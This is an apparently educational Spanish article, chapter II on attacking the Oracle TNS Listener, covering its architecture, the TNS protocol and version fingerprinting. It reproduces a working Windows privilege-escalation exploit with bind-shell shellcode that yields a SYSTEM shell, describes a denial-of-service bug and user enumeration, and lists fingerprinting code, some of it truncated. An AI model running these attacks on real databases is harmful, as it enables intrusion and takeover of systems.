Anatomía de un ataque a tns listener

ANATOMÍA DE UN ATAQUE A TNS

LISTENER

LA ARQUITECTURA DE NIVEL DE RED DE

ORACLE Y SU IMPORTANCIA EN LA

SEGURIDAD.

CAPÍTULO II

" M A N U E L G O N Z Á L E Z V A L I Ñ A S [ 0 X S T O R M ] "

3

A N AT O M Í A D E U N ATAQU E A T N S L I S T E N E R

DESDE EL DESCONOCIMIENTO AL CONOCIMIENTO. INTRODUCCIÓN SOBRE LA ARQUITECTURA DE RED DE ORACLE, HOW TO DEL PROCESO DE AUTENTICACIÓN Y COMO BUSCAR Y EXPLOTAR

VULNERABILIDADES.

INTRODUCCIÓN

Cuando hablamos de “un sistema de base de datos Oracle”, ¿de que estamos hablando realmente? Un sistema de base de datos se refiere no solo al propio gestor, como comúnmente se piensa a la hora de realizar un proceso de hardening, sino a todo lo relacionado con su funcionamiento, normalmente una base de datos proporciona servicio a través de una instancia, aunque en caso de un cluster puede haber más de una instancia corriendo sobre una misma base de datos, no obstante entenderemos (al menos desde el punto de vista del hardening y/o ethical hacking) que el sistema de base de datos se compone de la propia arquitectura de red, el gestor propiamente dicho, el sistema operativo sobre el que corre, así como cuestiones relativas a almacenamiento o backups; en este artículo se tratará todo lo relativo a la arquitectura de red y el proceso de autenticación propio de Oracle.

Cada base de datos se referencia mediante una instancia cuyo SID es el nombre de esa instancia, será la forma de referirnos a la instancia por tanto, mientras que si hablamos de hostname o host, nos estaremos refiriendo a la máquina sobre la que corre esa instancia. Desde el punto de vista del software diferenciamos dos componentes principales, el TNS Listener y el RDBMS (Relational Database Management System). El TNS Listener es el concentrador de todas las comunicaciones de Oracle, cuando una instancia de base de datos se inicia es registrada por el TNS Listener (TNSL en adelante), por lo que cuando un cliente intenta conectar a la base de datos, es el TNSL quien acepta esa conexión y redirige a la base de datos. Cuando el RDBMS quiere lanzar un procedimiento externo, este se conecta al TNSL quien lanza la llamana extproc. Una excepción a lo anterior son los Jobs externos que son gestionados mediante el job scheduler, por lo que en este caso el RDBMS se conecta directamente al external job.

PROCESOS

Los procesos de Oracle dependen en su totalidad del sistema operativo sobre el que corre Oracle, ya sean sistemas Windows o plataformas *nix. Sabemos por tanto que una instancia de base de datos describe todos los procesos y estructuras de memoria que proveen acceso a dicha base de datos. Existen dos grandes bloques de procesos – background y shadow o server. Los procesos shadow o server sirven peticiones de clientes, en otras palabras cuando un cliente se conecta mediante el TNSL y requiere acceso a los servicios de la base de datos, el TNSL está en manos de un proceso server. Este proceso server recoge las queries SQL y ejecuta en el lado del servidor. Los procesos en background existen para soportar este funcionamiento. Existen muchos procesos de background, cada uno con distintos roles, incluyendo escritores de base de datos, escritores de logs, archivadores, monitorizadores de sistema, monitorizadores de procesos y muchos otros.

En plataformas *nix cada uno de estos procesos de background corren en procesos separados, es decir, son procesos del sistema operativo distintos. En sistemas Windows todos corren en un mismo proceso llamado Oracle.exe. Existe un área de memoria especial donde se

4

mapean todos los procesos en *.nix llamada Ssystem Global Area, comúnmente conocida como SGA. La SGA está implementada como un fichero de mapeo de memoria y contiene toda la información referente a la instancia de una base de datos. Igualmente existe otra área de memoria conocida como shared pool, la cual contiene las estructuras compartidas por todos los usuarios, como definiciones de tablas, etc. Un punto interesante de los procesos en Oracle sobre sistemas Windows es que estos procesos pueden ser abiertos por cualquier grupo, lo cual es una clara brecha de seguridad, para verlo, considere el siguiente proceso y código:

1) Consiga el ID de Oracle.exe - ej. 1892

2) Consiga el SID - ej. ORCL

3) Ejecute dos shells – Shell A y B

4) En la Shell A ejecute

C:\>sqlplus /nolog

SQL*Plus: Release 10.1.0.2.0

Copyright (c) 1982, 2010, Oracle. All rights reserved.

SQL> connect scott/password_no_valida

5) En la Shell B ejecute

C:\>own10g 1892 *oraspawn_buffer_orcl*

6) En la Shell A intente reautenticar via sqlplus

7) En la Shell B ejecute

C:\>telnet 127.0.0.1 6666

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985–2001 Microsoft Corp.

C:\WINDOWS\system32>c:\whoami

c:\whoami

NT AUTHORITY\SYSTEM

El código del exploit utilizado es ampliamente conocido:

#include <stdio.h>

#include <windows.h>

#include <winbase.h>

HANDLE hSection=NULL;

unsigned char *p = NULL;

int OpenTheSection(unsigned char *section, DWORD perm);

SIZE_T GetSizeOfSection();

int MapTheSection(unsigned int rw);

unsigned char shellcode[]=

"\x83\xEC\x24\x55\x8B\xEC\xEB\x03\x58\xEB\x05\xE8\xF8\xFF\xFF\xFF"

"\x83\xC0\x7E\x83\xC0\x7B\x50\x99\x64\x8B\x42\x30\x8B\x40\x0C\x8B"

"\x70\x1C\xAD\x8B\x48\x08\x51\x52\x8B\x7D\xFC\x8B\x3C\x57\x57\x8B"

"\x41\x3C\x8B\x7C\x01\x78\x03\xF9\x8B\x5F\x1C\x8B\x77\x20\x8B\x7F"

"\x24\x03\xF1\x03\xD9\x03\xF9\xAD\x91\x33\xF6\x33\xD2\x8A\x14\x08"

"\x41\xC1\xCE\x0D\x03\xF2\x84\xD2\x75\xF3\x83\xC7\x02\x5A\x52\x66"

5

"\x3B\xF2\x75\xE5\x5A\x5A\x42\x0F\xB7\x4F\xFE\x03\x04\x8B\x89\x44"

"\x95\x04\x59\x80\xFA\x02\x7E\xAE\x80\xFA\x08\x74\x1E\x52\x80\xFA"

"\x03\x74\x02\xEB\xA1\x99\x52\x68\x33\x32\x20\x20\x68\x77\x73\x32"

"\x5F\x54\xFF\xD0\x83\xC4\x0C\x5A\x91\xEB\x8B\x99\xB6\x02\x2B\xE2"

"\x54\x83\xC2\x02\x52\xFF\xD0\x50\x50\x50\x6A\x06\x6A\x01\x6A\x02"

"\xFF\x55\x14\x8D\x65\xD4\x50\x99\x52\x52\x52\xBA\x02\xFF\x1A\x0A"

"\xFE\xC6\x52\x54\x5F\x6A\x10\x57\x50\xFF\x55\x18\x6A\x01\xFF\x75"

"\xD0\xFF\x55\x1C\x50\x50\xFF\x75\xD0\xFF\x55\x20\x99\x52\x68\x63"

"\x6D\x64\x20\x54\x5F\x50\x50\x50\x52\x52\xB6\x01\x52\x6A\x0A\x99"

"\x59\x52\xE2\xFD\x6A\x44\x54\x5E\x42\x54\x56\x51\x51\x51\x52\x51"

"\x51\x57\x51\xFF\x55\x0C\xFF\x55\x08\x16\x9F\x9F\xB5\x72\x60\xA8"

"\x6F\x80\x3B\x75\x49\x32\x4C\xE7\xDF";

int WriteShellCode(char *section);

int main(int argc, char *argv[])

{

HANDLE hThread = NULL;

DWORD id = 0;

HMODULE k=NULL;

FARPROC mOpenThread = 0;

FARPROC ntq = 0;

FARPROC nts = 0;

unsigned char buff[1024]="";

unsigned int len = 0;

unsigned int res = 0;

unsigned int pid = 0;

unsigned char *p = 0;

unsigned int tid = 0;

CONTEXT ctx;

unsigned char *ptr=NULL;

6

if(argc != 3)

{

printf("\n\n\t*** own10g ***\n\n");

printf("\tC:\\>%s pid section_name\n\n",argv[0]);

printf("\twhere pid is the process ID of Oracle\n");

printf("\tand section_name is *oraspawn_buffer_SID*\n");

printf("\tSID is the database SID - e.g. orcl\n\n");

printf("\tSee notes in source code for full details\n\n");

printf("\tDavid Litchfield\n\t([email protected])");

return 0;

}

if(WriteShellCode(argv[2])==0)

return printf("Failed to write to section %s\n",argv[2]);

k = LoadLibrary("kernel32.dll");

if(!k)

return printf("Failed to load kernel32.dll");

mOpenThread = GetProcAddress(k," OpenThread");

if(!mOpenThread)

return printf("Failed to get address of OpenThread!");

k = LoadLibrary("ntdll.dll");

if(!k)

return printf("Failed to load ntdll.dll");

ntq = GetProcAddress(k," NtQueryInformationThread");

if(!ntq)

return printf("Failed");

nts = GetProcAddress(k," NtSetInformationThread");

if(!nts)

return printf("Failed");

tid = atoi(argv[1]);

7

while(id< 0xFFFF)

{

hThread = mOpenThread(THREAD_ALL_ACCESS,TRUE,id);

if(hThread)

{

res = ntq(hThread,0,buff,0x1C,&len);

if(res !=0xC0000003)

{

p = &buff[9];

pid = (int) *p;

pid = pid << 8;

p--;

pid = pid + (int) *p;

if(pid == tid)

{

printf("%d\n",id);

ctx.ContextFlags =

CONTEXT_INTEGER|CONTEXT_CONTROL;

if(GetThreadContext(hThread,&ctx)==0)

return printf("Failed to get context");

ptr = (unsigned char *)&ctx;

ptr = ptr + 184;

// This exploit assumes the base address of the

// section is at 0x044D0000. If it is not at this

// address on your system - change it.

memmove(ptr,"\x40\x01\x4D\x04",4);

if(SetThreadContext(hThread,&ctx)==0)

return

printf("%d\n",GetLastError());

8

}

}

}

hThread = NULL;

id ++;

}

return 0;

}

int WriteShellCode(char *section)

{

SIZE_T size = 0;

if(OpenTheSection(section,FILE_MAP_WRITE)==0)

{

printf("OpenTheSection: Section %s\tError:%d\n",section,GetLastError());

return 0;

}

if(MapTheSection(FILE_MAP_WRITE)==0)

{

printf("MapTheSection: Section %s\tError:%d\n",section,GetLastError());

return 0;

}

size = GetSizeOfSection();

if(size == 0)

{

printf("GetSizeOfSection: Section %s\tError:%d\n",section,GetLastError());

return 0;

}

printf("Size of section %d\n",size);

9

if(size < 0x141)

return 0;

size = size - 0x140;

if(size < strlen(shellcode))

return 0;

p = p + 0x140;

memmove(p,shellcode,strlen(shellcode));

return 1;

}

int OpenTheSection(unsigned char *section, DWORD perm)

{

SIZE_T size=0;

hSection = OpenFileMapping(perm, FALSE, section);

if(!hSection)

return 0;

else

return 1;

}

int MapTheSection(unsigned int rw)

{

p = (char *)MapViewOfFile(hSection, rw, 0, 0, 0);

if(!p)

return 0;

return 1;

}

SIZE_T GetSizeOfSection()

10

{

MEMORY_BASIC_INFORMATION mbi;

SIZE_T size=0;

if(!p)

{

printf("Address not valid.\n");

return 0;

}

ZeroMemory(&mbi,sizeof(mbi));

size = VirtualQuery(p,&mbi,sizeof(mbi));

if(size !=28)

return 0;

size = mbi.RegionSize;

printf("Size: %d\n",size);

return size;

}

Entonces, ¿que pasó aquí? Cuando un usuario local intenta conectar con Oracle (bajo Windows), lo hace a través de pipes. Se crean cuatro hilos en el proceso servidor que comunica el cliente con el servidor. Esos cuatro hilos tienen implementado un ACL discreto, llamado DACL para que únicamente los usuarios con permisos puede abrir el/los hilos, en el paso 4 del proceso anterior, mediante el intento de autenticación creamos hilos similares en el proceso server, a continuación en el paso 5 lanzamos el exploit , el cual abre una sección de memoria en el proceso server y escribe nuestra shellcode, esta sección tiene una dirección 0x044D0000 (puede variar). Debido a que el DACL permite escribir en esta sección a cualquiera, podemos hacerlo. El nombre usado *oraspawn_buffer_orcl*, hace referencia al orcl que es el SID obtenido el el paso 2. Un apunte importante es que si escribimos nuestra shellcode específica para 0x044D0140, tendremos que prevenir que la shellcode se salte en el segundo intento de autenticación, lo mejor es escribir la sección para el contexto de ejecución, en otras palabras debemos setear el EIP al punto inicial de la shellcode. En el paso 6 se duerme el hilo previamente abierto y se lanza la shellcode y mediante esta conseguirmos hacer telnet al puerto 6666 para comprobar que realmente tenemos privilegios de system.

11

FILE SYSTEM

Aunque no lo parezca, debemos ver o repasar algunos conceptos que afectan al sistema de ficheros para que la información aquí detallada sea coherente y concisa (se necesita tener claros estos conceptos para entender y poder hacer un bypassing de las acls de oracle).

El directorio base donde se instala Oracle está referenciado mediante la variable de entorno $ORACLE_HOME, los ejecutables principales de Oracle están localizados en $ORACLE_HOME/bin/oracle en sistemas *nix y %ORACLE_HOME\bin\oracle.exe en sistemas Windows. Los datos son almacenados en estructuras lógicas llamadas tablespaces y físicamente en datafiles, que comúnmente tienen la extensión .dbf. Normalmente los datafiles se encuentran en el directorio $ORACLE_HOME/oradata/SID. Estos datafiles tienen una estructura simple binaria. La cabecera del fichero cambia según versión, para una 10g el formato sería el siguiente: el segundo byte indica el tipo de fichero – 0xA2 indica un datafile normal, 0xC2 es un control file y 0x22 es un fichero de redo log. El DWORD (4 bytes) desde 0x14 a 0x17 indica el tamaño de cada bloque de datos en el fichero y el DWORD desde 0x128 a 0x1B indica el número de data blocks en el fichero. Los bytes 0x1C a 0x1F son la “magic key” siempre seteada a 0x7D7C7B7A. La cabecera del fichero es del mismo tamaño que los otros bloques, indicado en 0x14 a 0x17, entonces el primer data block se encuentra en 0x00002000.

Cada data block contiene el número de bloques en bytes (black_base+4), la versión del servidor se encuentra desde [block_base+0x18 a block_base+0x1B]. El primer data block es especial, porque contiene información sobre el servidor. Por ejemplo, el SID de la base de datos se puede encontrar en block_base+0x20, el tablespace name se puede encontrar en block_base+0x52, etc.

Los otros dos tipos de ficheros mencionados anteriormente –control files y redo logs. Los control files contienen información crítica sobre la estructura física del servidor de base de datos. Los redo logs guardan pistas o trazas de cambios en los data files y actúan como bridge entre el servidor y los datafiles. Por ejemplo si un usuario cambia su password mediante alter user name indentified by password, en versiones antiguas de Oracle (9i) se guardaba la contraseña en texto plano!

El fichero de configuración inicial de la base de datos, init<SID>.ora o spfile<SID>.ora, se puede localizar en $ORACLE_HOME/dbs en plataformas *nix.

NETWORK

Oracle puede ser configurado para que escuche sockets TCP, con o sin SSL, IPC, SPX y PIPES. En Oracle sobre plataformas Windows, los pipes son accesible en los puertos 139 y 445 TCP, lo que significa que cuando el TNS Listener no está configurado con sockets TCP, es accesible a través de la red vía pipes. Cuando se habilita el listen de sockets TCP, se usan los puertos 1521 o 1525, aunque depende de los productos instalados y la configuración específica, obviamente pueden ser descubiertos mediante un escaneo con nmap.

La arquitectura de red de Oracle, consta de varios componentes, por lo que podemos hacer una comparación con el modelo OSI (figura 2-1). Esta arquitectura habilita a los clientes Oracle y servidores de aplicación para comunicarse de forma transparente sobre protocolos TCP/IP. El protocolo de sesión hace de interface entre las aplicaciones (OCI o Oracle Call Inteface en el cliente, OPI o Oracle Program Interface en el servidor) y la capa de red conocida como Net9.

12

Entre OCI/OPI y la capa NET9 está la capa de presentación llamada TTC (Two-Task Common) la cual es responsable de la conversión de datos y estructuras entre el cliente y el servidor. La capa Net9 tiene tres componentes fundamentales, de los cuales únicamente nos concierne en este documento el TNS cuya tarea principal es seleccionar el protocolo de adaptación de Oracle y hacer el wrapping de la comunicación en uno de los protocolos soportados.

Figura 2-1

13

EL PROTOCOLO TNS

APLICANDO REVERSING SOBRE EL TNS:

Para poder hace reversing sobre el protocolo TNS y entender este protocolo a bajo nivel, es necesario considerar todo lo que aquí se expone.

TNS HEADER:

Cada paquete TNS tiene una cabecera de 8 bytes. La primera palabra (2 bytes) es usada para indicar la longitud del paquete incluida esta cabecera. La siguiente palabra el el checksum del paquete, por defecto 0x0000 (es decir, no implementado). El siguiente byte indica el tipo de paquete, los tipos mas usuales son los siguientes:

TIPO 1: CONNECT PACKET

TIPO 2: ACCEPT PACKET

TIPO 3: ACK PACKET

TIPO 4: REFUSE PACKET

TIPO 5: REDIRECT PACKET

TIPO 6: DATA PACKET

TIPO 7: NULL PACKET

TIPO 9: ABORT PACKET

TIPO 11:RESEND PACKET

TIPO 12: MARKER PACKET

TIPO 13: ATTENTION PACKET

TIPO 14: CONTROL PACKET

Cuando nos conectamos a Oracle, a nivel de TNS el cliente envía al servidor un Connect packet (tipo 1), indicando el nombre de servicio al que quiere acceder. A continuación pueden suceder dos cosas, por un lado, el Listener envía un paquete de aceptación (tipo 2) o hace una redirección a otro puerto (tipo 5). Ocurriendo esto, el cliente intenta autenticar. Este proceso se cubre en el capítulo de AUTENTICACIÓN. Por tanto una vez el cliente envía el paquete de conexión, puede ser redirigido para solicitar el servicio. Todos los paquetes de autenticación son de tipo 6.

Si el Listener no conoce el servicio que el cliente está solicitando, enviará un paquete de tipo 4 o Refuse packet. Podremos ver paquetes tipo 12 o Marker packet, por ejemplo, si el servidor quiere parar la comunicación con el cliente enviará paquetes 0x0C.

Continuando con la definición de la cabecera TNS, el siguiente byte es un conjunto de flags. Generalmente no se usan, aunque el cliente 10g establece el valor 0x04. Los dos bytes finales forman un Word para el checksum de la cabecera, por defecto no se usan.

WORD 00 00 Packet Size

WORD 00 00 Packet Checksum

14

BYTE 00 Packet Type

BYTE 00 Flags

WORD 00 00 Header Checksum

Volviendo a la perspectiva del ataque, los paquetes refused (tipo 4), indican algún tipo de error, por ejemplo, logon denegado o “invalid username/password” –ORA-01017. En estos errores, el byte 54 indica el problema. 3 significa invalid password, 2 indica usuario desconocido…como puede verse, es posible hacer un leak de información únicamente usando refused packets.

DENTRO DEL PAQUETE:

Realizando una captura, la mayoría de paquetes que se ven son Data Packets (tipo 6). En los Data Packets, después de la cabecera están los Data Flags. Si el paquete es de desconexión, este Word contendrá el valor 0x0040 –Generalmente será 0x0000.

NOTA: Existe un bug en todas las versiones de Oracle, cuando el servidor procesa un Data Packet (tipo 6) cuando el segundo bit del Data Flag está seteado pero el primero (más significativo) no está seteado (ej. 2,6,10,14, etc). Cuando el servidor recibe un paquete con estas características entra en un bucle infinito donde se consume toda la CPU disponible y a no ser que el sistema operativo recupere el control el servidor se verá afectado por un DOS, obviamente sea cual sea el resultado, esto se traduce en un impacto negativo.

El siguiente byte después del Data Flags (byte 11) determina que hay en el Data Packet, a continuación se puede ver el tipo de contenido:

0x01 indica negociación de protocolo. Aquí el cliente envía al servidor los protocolos aceptados -6, 5, 4, 3, 2, 1 y 0. El servidor responde con la versión, por ejemplo 6 o 5, igualmente envía información extra como el charset usado la versión de string o los flags de servidor.

0x02 indica intercambio de representación de tipos de datos

0x03 indica la llamada a TTI (Two-Task Interface). Las funciones pueden ser:

0x02 Open

0x03 Query

0x04 Execute

0x05 Fetch

0x08 Close

0x09 Disconnect/logoff

0x0C AutoCommit ON

0x0D AutoCommit OFF

0x0E Commit

15

0x0F Rollback

0x14 Cancel

0x2B Describe

0x30 Startup

0x31 Shutdown

0x3B Version

0x43 K2 Transactions

0x47 Query

0x4A OSQL7

0x5C OKOD

0x5E Query

0x60 LOB Operations

0x62 ODNY

0x67 Transaction - end

0x68 Transaction - begin

0x69 OCCA

0x6D Startup

0x51 Logon (presenta la password)

0x52 Logon (presenta el username)

0x73 Logon (presenta password - send AUTH_PASSWORD)

0x76 Logon (present username - request AUTH_SESSKEY)

0x77 Describe

0x7F OOTCM

0x8B OKPFC

0x08 indica OK, enviado por el servidor en respuesta a cliente.

16

0x11 indica funciones extendidas de TTI.

0x20 se usa cuando se hace una llamada a un procedimiento externo.

0x44 también se usa en el caso anterior.

OBTENIENDO LA VERSIÓN DE ORACLE

En las últimas versiones, Oracle ha mejorado cuantitativamente la seguridad del Listener, por lo que vamos desde el listener de versiones 8i y 9i donde la seguridad del mismo era prácticamente inexistente, pasando por la versión 10g que incluye numerosas mejoras y por último las versiones 11g donde ya podemos hablar de seguridad, debido a los principios de rediseño que se establecen en los factores clave, igualmente con el último security service pack que Oracle publicó el 17 Enero de 2012, se subsanan vulnerabilidades “míticas” en el sistema de Listener.

Existen muchas forma de obtener la versión del Listener así como otro tipo de información “sensible” dependiendo de la versión de Oracle, igualmente es posible establecer ciertas medidas que aporten una seguridad extra, como pueden ser: implementar el TCP node valid checking o establecer reglas de firewall que discriminen cierto tipo de tráfico.

A continuación veremos algunos métodos para obtener la versión del Listener:

La herramienta de control del Listener se llama “lsnrctl” y soporta tanto el comando version como status, esta herramienta proporciona un leakage de información, como la versión, detalles del sistema operativo en el que corre el listener, en versiones antiguas funcionaba al 100% por lo que hacer un gathering de información interesante era trivial, en la versión 10g se inhabilita el comando status (delegando mediante remotely) pero el comando version sigue funcionando, en versiones 11g se puede comprobar que esto ya está debidamente corregido.

A continuación se muestra un ejemplo de information leakage obtenido en la fase de information gathering sobre una versión de Oracle en un entorno crítico.

C:\>lsnrctl

LSNRCTL for 32-bit Windows: Version 8.1.7.4.0 - Production on 19-JUN-2006

17:54:42

(c) Copyright 1998 Oracle Corporation. All rights reserved.

Welcome to LSNRCTL, type "help" for information.

LSNRCTL> set current_listener 192.168.0.120

Current Listener is 192.168.0.120

LSNRCTL> version

Connecting to

17

(DESCRIPTION=(CONNECT_DATA=(SID=*)(SERVICE_NAME=192.168.0.120))(ADDRESS=

(PROTOCOL=TCP)(HOST=192.168.0.120)(PORT=1521)))

TNSLSNR for 32-bit Windows: Version 10.2.0.1.0 - Production

TNS for 32-bit Windows: Version 10.2.0.1.0 - Production

Windows NT Named Pipes NT Protocol Adapter for 32-bit Windows:

Version 10.2.0.1.0 - Production

Windows NT TCP/IP NT Protocol Adapter for 32-bit Windows:

Version 10.2.0.1.0 - Production,,

The command completed successfully

LSNRCTL>

Como se puede observar en la salida anterior, se trata de un Oracle 10g Release 2 corriendo sobre un sistema Windows.

USANDO LA VERSION DE L PROTOCOLO TNS

En el paquete TNS de conexión, una palabra (2 bytes) especifica la versión del protocolo TNS, la siguiente palabra en los bytes 11 y 12 especifica con que versiones anteriores del protocolo se puede entender, es decir, la compatibilidad hacia atrás, por ejemplo, si un cliente de Oracle está usando una versión 8.1.7.4 del Listener, cuando el cliente envía 0x0136 como versión del protocolo TNS, este puede usar 0x012C para compatibilizar. Esto permite que dos versiones distintas de Oracle puedan comunicarse simplemente estableciendo compatibilidades sobre el protocolo TNS. Es decir, podemos utilizar estas dos palabras para determinar la versión del servidor. Para ello debemos tener identificados los valores de las palabras con sus correspondientes versiones y seguir un orden jerárquico. Comenzamos con el número de versión más alto y trabajaremos hacia abajo, por lo tanto enviamos 0x013C si el servidor no entiende esta versión (lo sabremos bien por el retorno de un error o por el tiempo de expiración), enviamos o reducimos el valor a 0x13B, luego 0x13A, 0x139 y así sucesivamente hasta 0x00CC. Tan pronto como el servidor responda sabremos de que versión se trata.

Oracle 11r1 supports 0x13A

Oracle 10r2 supports 0x139

Oracle 9r2 supports 0x138

Oracle 9i supports 0x137

Oracle 8 supports 0x136

18

A continuación se muestra el código de tnsver.c, el cual implementa un proceso automatizado para realizar este proceso:

#include <stdio.h>


#include <winsock.h>

struct hostent *he;

struct sockaddr_in s_sa;

int ListenerPort=1521;

char host[260]="";

int GetOracleVersion(unsigned char *pkt, unsigned int pkt_len,

unsigned

char *resp, unsigned int resp_len, int dr);

int StartWinsock(void);

int InitTNSPacket(unsigned char *data, unsigned short data_length);

int bswap_s(unsigned int v);

int bswap_i(unsigned int v);

int error();

int GetOracleVersionByError();

int GetOracleVersionByProtocolVersion();

int GetOracleVersionByVersionCommand();

typedef struct TNSHeader {

unsigned short Length;

unsigned short PacketChecksum;

unsigned char Type;

unsigned char Flags;

unsigned short HeaderChecksum;

}TNSHeader;

typedef struct TNSConnect {

unsigned short Version;

unsigned short MinVersion;

unsigned short GlobalServiceOptions;

unsigned short SessionDataUnit;

unsigned short TransportDataUnit;

unsigned short Characteristics;

unsigned short MaxPacketsBeforeAck;

unsigned short ByteOrder;

unsigned short Length;

unsigned short Offset;

unsigned int MaxRecv;

unsigned short AdditionalNetworkOptions;

unsigned char buf[24];

} TNSConnect;

#define TNS_CONNECT 1

#define MAX_VER 0x0139

#define MIN_VER 0x012C

#define SDU_MAX 0x0800

#define TDU_MAX 0x7FFF

#define DATA_LENGTH 12

unsigned char TNSPacket[2000]="";

int InitTNSPacket(unsigned char *data, unsigned short data_length)

{

TNSConnect tnsconnect;

TNSHeader tnsheader;

memset(&tnsheader,0,sizeof(TNSHeader));

memset(&tnsconnect,0,sizeof(TNSConnect));

tnsheader.Length = bswap_s(data_length + 0x3A);

tnsheader.PacketChecksum = 0;

19

tnsheader.Type = TNS_CONNECT;

tnsheader.Flags = 0;

tnsheader.HeaderChecksum = 0;

tnsconnect.Version = bswap_s(MAX_VER);

tnsconnect.MinVersion = bswap_s(MIN_VER);

tnsconnect.GlobalServiceOptions = 0;

tnsconnect.SessionDataUnit = bswap_s(SDU_MAX);

tnsconnect.TransportDataUnit = bswap_s(TDU_MAX);

tnsconnect.Characteristics = bswap_s(0x860E);

tnsconnect.MaxPacketsBeforeAck = 0;

tnsconnect.ByteOrder = 0x1;

tnsconnect.Length = bswap_s(data_length);

tnsconnect.Offset = bswap_s(0x3A);

tnsconnect.MaxRecv = bswap_i(0x000007F8);

tnsconnect.AdditionalNetworkOptions = 0x0C0C;

memmove(TNSPacket,&tnsheader,sizeof(TNSHeader));

memmove(&TNSPacket[sizeof(TNSHeader)],&tnsconnect,50);

memmove(&TNSPacket[0x3A],data,data_length);

return 0;

}


{

unsigned int err=0;

unsigned short val = 0x13B;

if(argc == 1)

{

printf("\n\t*** OraVer ***");

printf("\n\n\tGets the Oracle version number.");

printf("\n\n\tC:\\>%s host [port]",argv[0]);

printf("\n\n\tDavid

Litchfield\n\[email protected]\n\t22th April 2003\n");

return 0;

}

strncpy(host,argv[1],256);

if(argc == 3)

ListenerPort = atoi(argv[2]);

err = StartWinsock();

if(err==0)

printf("Error starting Winsock.\n");

else

{

GetOracleVersionByError();

GetOracleVersionByProtocolVersion();

GetOracleVersionByVersionCommand();

}

WSACleanup();

return 0;

}

int GetOracleVersionByProtocolVersion()

{

int res=0;


unsigned char *ptr = NULL;

unsigned short ver = 0x13B;

InitTNSPacket("AAAABBBBCCCC",DATA_LENGTH);

while(ver > 0xCC)

{

ver = (unsigned short)bswap_s(ver);

memmove(&TNSPacket[8],&ver,2);

memmove(&TNSPacket[10],&ver,2);

ver = (unsigned short)bswap_s(ver);

20

res =

GetOracleVersion(TNSPacket,0x3A+DATA_LENGTH,buff,2000,0);

if(res == -1)

return printf("Failed to connect.\n");

if(res > 0x20)

{

printf("TNS version 0x%.2X is supported\n",ver);

break;

}

else

printf("TNS version 0x%.2X is not supported\n",ver);

ver --;

}

return 0;

}

int GetOracleVersionByVersionCommand()

{

int res=0;



unsigned char *vercmd = "(CONNECT_DATA=(COMMAND=version))";

InitTNSPacket(vercmd,(unsigned short)strlen(vercmd));

res = GetOracleVersion(TNSPacket,0x3A+strlen(vercmd),buff,2000,1);

if(res == -1)

return printf("Failed to connect.\n");

if(res > 0x36)

{

ptr = &buff[10];

printf("\n\nVersion command:\n%s\n",ptr);

}

else

error();

return 0;

}

int GetOracleVersionByError()

{

int res=0;


unsigned char ver[8]="";


unsigned char h=0,l=0,p=0,q=0;

InitTNSPacket("ABCDEFGHIJKL",DATA_LENGTH);

res = GetOracleVersion(TNSPacket,0x3A+DATA_LENGTH,buff,2000,0);

if(res == -1)

return printf("Failed to connect to listener.\n");

if(res > 0x32)

{

ptr = &buff[36];

ptr[6]=0x00;

if(strcmp(ptr," VSNNUM")==0)

{

ptr = &ptr[7];

res = atoi(ptr);

res = res << 4;

memmove(ver,&res,4);

h = ver[3] >> 4;

l = ver[3] << 4;

l = l >> 4;

p = ver[1] >> 4;

q = ver[0] >> 4;

printf("\nVersion of Oracle is

21

%d.%d.%d.%d.%d\n\n",h,l,ver[2],p,q);

}

else

return error();

}

else

return error();

return 0;

}

int error()

{

return printf("There was an error getting the version

number.\n");

}

int bswap_s(unsigned int v)

{

__asm {

xor eax, eax

mov eax,v

bswap eax

shr eax,16

mov v, eax

}

return v;

}

int bswap_i(unsigned int v)

{

__asm {

xor eax, eax

mov eax,v

bswap eax

mov v, eax

}

return v;

}

int StartWinsock()

{

int err=0;

unsigned int addr;

WORD wVersionRequested;

WSADATA wsaData;

wVersionRequested = MAKEWORD(2, 0);

err = WSAStartup(wVersionRequested, &wsaData);

if (err != 0)

return 0;

if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion)

!= 0)

return 0;

s_sa.sin_addr.s_addr=INADDR_ANY;

s_sa.sin_family=AF_INET;

if (isalpha(host[0]))

{

he = gethostbyname(host);

if(he == NULL)

{

printf("Failed to look up %s\n",host);

return 0;

}

memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);

}

else

22

{

addr = inet_addr(host);

memcpy(&s_sa.sin_addr,&addr,4);

}

return 1;

}

int GetOracleVersion(unsigned char *pkt, unsigned int pkt_len,

unsigned

char *resp, unsigned int resp_len, int dr)

{

unsigned char ver[8]="";

unsigned char h=0,l=0,p=0,q=0;

int snd=0,rcv=0,count=0;

unsigned int to=1000;

SOCKET cli_sock;

char *ptr = NULL;

cli_sock=socket(AF_INET,SOCK_STREAM,0);

if (cli_sock==INVALID_SOCKET)

return printf("\nFailed to create the socket.\n");

setsockopt(cli_sock,SOL_SOCKET,SO_RCVTIMEO,(char

*)&to,sizeof(unsigned int));

s_sa.sin_port=htons((unsigned short)ListenerPort);

if

(connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR)

{

printf("\nFailed to connect to the Listener.\n");

return -1;

}

snd=send(cli_sock, pkt , pkt_len , 0);

rcv = recv(cli_sock,resp,resp_len,0);

if(dr)

rcv = recv(cli_sock,resp,resp_len,0);

closesocket(cli_sock);

if(rcv == SOCKET_ERROR)

return 0;

else

return rcv;

}

USANDO LA VERSION DE XML DATABASE

Si la base de datos XML está corriendo en el sistema, se puede lanzar un Telnet al puerto 2100 (u el obtenido mediante nmap) para obtener el banner y por tanto la versión. Véase un ejemplo:

220 PILUM FTP Server (Oracle XML DB/Oracle9i Enterprise Edition Release

9.2.0.1.0 - Production) ready.

Also, the XDB Web server on TCP port 8080 gives up the version number:

GET / HTTP/1.1

23

Host: PILUM

HTTP/1.1 401 Unauthorized

MS-Author-Via: DAV

DAV: 1,2,<http://www.oracle.com/xdb/webdav/props>

Server: Oracle XML DB/Oracle9i Enterprise Edition Release 9.2.0.1.0 -

Production

WWW-Authenticate: Basic Realm=" XDB"

Content-Type: text/html

Content-Length: 147

USANDO EL TEXTO DE E RROR DE TNS

Si el Listener recibe un paquete que no comprende, este devolverá un error, el código de ese error nos proporciona, mediante una simple conversión, la versión que estamos buscando. El código que buscamos se llama VSNNUM y tiene un formato como 169869568 que en hexadecimal se corresponde con 0x0A200100 con lo que la versión es 10.2.0.1.0. A continuación se muestra un dump donde el paquete que no comprende es el que contiene ‘irrompible’:

IP Header

Length and version: 0x45

Type of service: 0x00

Total length: 181

Identifier: 13914

Flags: 0x4000

TTL: 128

